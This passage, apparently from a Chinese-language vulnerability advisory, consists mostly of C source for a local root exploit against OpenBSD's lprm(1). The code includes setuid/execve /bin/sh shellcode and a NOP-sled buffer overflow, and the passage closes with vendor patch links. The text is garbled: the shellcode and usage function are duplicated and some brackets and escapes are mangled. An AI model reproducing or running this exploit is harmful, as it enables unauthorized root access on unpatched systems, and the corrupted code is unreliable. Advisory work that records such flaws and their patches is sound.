\"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer <-r ret> <-a indent>\n\n", pname); } int main(int argc, char *argv<>) { int i; u_char indent = 0; u_long raddr = 0; u_long offset = 0; u_char buf ; if (argc < 2) { usage(argv<0>); exit(1); } argc--; argv++; while ( (i = getopt(argc, argv, "a:r:o:")) != -1) { switch (i) { case `a`: indent = atoi(optarg) % 8; break; case `r`: raddr = strtoul(optarg, NULL, 0); break; case `o`: offset = strtoul(optarg, NULL, 0); break; default: exit(1); break; } } if (!raddr) { raddr = getesp(); raddr -= offset ? offset : OFFSET; } else raddr -= offset; printf("Using address 0x%08x\n", raddr); memset(buf, NOP, BUFSIZE); memcpy(&buf , &raddr, sizeof(raddr)); memcpy(&buf , &raddr, sizeof(raddr)); memcpy(&buf , &raddr, sizeof(raddr)); memcpy(&buf , &raddr, sizeof(raddr)); memcpy(&buf , &raddr, sizeof(raddr)); memcpy(&buf , &raddr, sizeof(raddr)); memcpy(&buf -(strlen(obsdcode)+100), obsdcode, strlen(obsdcode)); buf = `\0`; execlp(LPRMPROG, "CMN", "-P", argv<0>, buf, buf, NULL); exit(1); } -- End lprmexp.c 解决方案： 目前厂商已公布该缺陷补丁,请用户及时下载并安装: OpenBSD 3.1版: ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.1/common/023_lprm.patch OpenBSD 3.2版: ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.2/common/010_lprm.patch